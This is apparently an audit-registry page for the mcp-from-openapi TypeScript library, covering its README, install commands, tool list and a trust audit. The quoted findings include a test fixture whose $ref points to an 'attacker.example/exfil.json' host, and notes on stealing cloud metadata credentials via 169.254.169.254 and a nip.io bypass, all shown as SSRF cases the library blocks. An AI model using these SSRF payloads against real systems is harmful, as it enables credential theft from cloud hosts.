mcp-from-openapiSAFE
Production-ready TypeScript library for converting OpenAPI specifications into MCP (Model Context Protocol) tool
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
Convert OpenAPI specifications into MCP tool definitions with automatic parameter conflict resolution
[](https://www.npmjs.com/package/mcp-from-openapi) [](https://www.npmjs.com/package/mcp-from-openapi) [](https://github.com/agentfront/mcp-from-openapi/actions/workflows/push.yml) [](https://github.com/agentfront/mcp-from-openapi/actions/workflows/push.yml) [](https://github.com/agentfront/mcp-from-openapi/actions/workflows/codeql.yml) [](https://opensource.org/license/apache-2-0) [](https://www.typescriptlang.org/) [](https://nodejs.org/)
What This Solves
When converting OpenAPI specs to MCP tools, you hit parameter conflicts -- the same name appears in different locations (path, query, body). This library resolves them automatically and gives you an explicit mapper for building HTTP requests.
The Problem:
paths:
/users/{id}:
post:
parameters:
- name: id # path
in: path
requestBody:
content:
application/json:
schema:
properties:
id: # body -- CONFLICT!
type: stringThe Solution:
{
inputSchema: {
properties: {
pathId: { type: "string" }, // Automatically renamed
bodyId: { type: "string" } // Automatically renamed
}
},
mapper: [
{ inputKey: "pathId", type: 33d00fd68001OBSERVED · 2026-10-12Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.
claude mcp add mcp-from-openapi --env API_KEY=${API_KEY} --env JWT_TOKEN=${JWT_TOKEN} -- npx -y [email protected]{
"mcpServers": {
"mcp-from-openapi": {
"command": "npx",
"args": [
"-y",
"[email protected]"
],
"env": {
"API_KEY": "${API_KEY}",
"JWT_TOKEN": "${JWT_TOKEN}"
}
}
}
}Exposed tools (12)
12 read · 0 write · 0 destructive.
| Tool | Risk | Description |
|---|---|---|
admin | read | Admin operations |
bare | read | Bare tool. |
getUser | read | Get user by ID |
listItems | read | Lists items. |
mcp_name | read | Mcp description |
searchTweets | read | Search recent public posts |
speak_name | read | Speak description |
t | read | d |
test_tool | read | test |
uploadFile | read | d |
uploadRaw | read | d |
users | read | User operations |
Trust audit
SAFEgrade B · trust 86/100 Nothing in the source contradicts what it says it does. Grade A is reserved for packages that have also passed the behavioural sandbox.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | PASS |
| L1 | Static analysis of the code | WARN |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- none-observed
- Network
- none-observed
- Shell
- declared (1 observation(s))
- Dependencies
- not all pinned
- Secrets in source
- found
Findings (20)
key: '-----BEGIN PRIVATE KEY-----\n...',
.yarnrc.yml
import { buildHttpRequest } from '../../src';import type { ExpressionValueIR, McpOpenAPITool, RuntimeExpressionAST } from '../../src';import type { BuiltHttpRequest, ResolvedSecurity } from '../../src';import { toSdkTool } from '../../src';import type { McpOpenAPITool } from '../../src';parameters: [{ name: 'q', in: 'query', schema: { $ref: 'https://attacker.example/exfil.json' } }],- **Cloud credential theft** -- `$ref` pointing to `http://169.254.169.254/latest/meta-data/` steals AWS/GCP/Azure instance metadata
| `metadata.google.internal` | GCP metadata endpoint |
- Built-in SSRF blocking: the test proves `http://169.254.169.254/...` (cloud metadata) is rejected **before any connection**, surfacing as `SsrfError`
const result = await tryLoad('http://169.254.169.254/openapi.json');await expect(OpenAPIToolGenerator.fromURL('http://169.254.169.254/openapi.json')).rejects.toThrow(LoadError);closes the `http://127.0.0.1.nip.io/` (and any DNS-name-to-internal) bypass.
- **Cloud credential theft** -- `$ref` pointing to `http://169.254.169.254/latest/meta-data/` steals AWS/GCP/Azure instance metadata
- Built-in SSRF blocking: the test proves `http://169.254.169.254/...` (cloud metadata) is rejected **before any connection**, surfacing as `SsrfError`
const result = await tryLoad('http://169.254.169.254/openapi.json');await expect(OpenAPIToolGenerator.fromURL('http://127.0.0.1:1/api.json', internal())).rejects.toThrow(LoadError);@apidevtools/json-schema-ref-parser, openapi-types, yaml, @modelcontextprotocol/sdk, @swc/core, @swc/helpers, @swc/jest, @types/jest
client (DNS-validated, redirects refused) and the spec-load credentials
Gates applied: no_behavioural_pass.
33d00fd68001full audit observations/trust-audit/mcp-server/agentfront__mcp-from-openapi.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-12 | 33d00fd68001 | SAFE | B | 86 | first audit |
Questions
What is the mcp-from-openapi MCP server?
Production-ready TypeScript library for converting OpenAPI specifications into MCP (Model Context Protocol) tool
What tools does mcp-from-openapi expose?
12 in total: 12 read-only, 0 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.
Is mcp-from-openapi safe to connect to an agent?
The audit found nothing in the source that contradicts what it says it does, and graded it B (86/100). Grade A is held back for packages that have also passed a sandboxed behavioural run, which is why a clean server reads B.
What credentials does mcp-from-openapi need?
It reads API_KEY and JWT_TOKEN from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.
How current is this page?
The grade is for one exact copy of the source (33d00fd68001), read on 2026-10-12. The repository is watched and re-audited when it changes.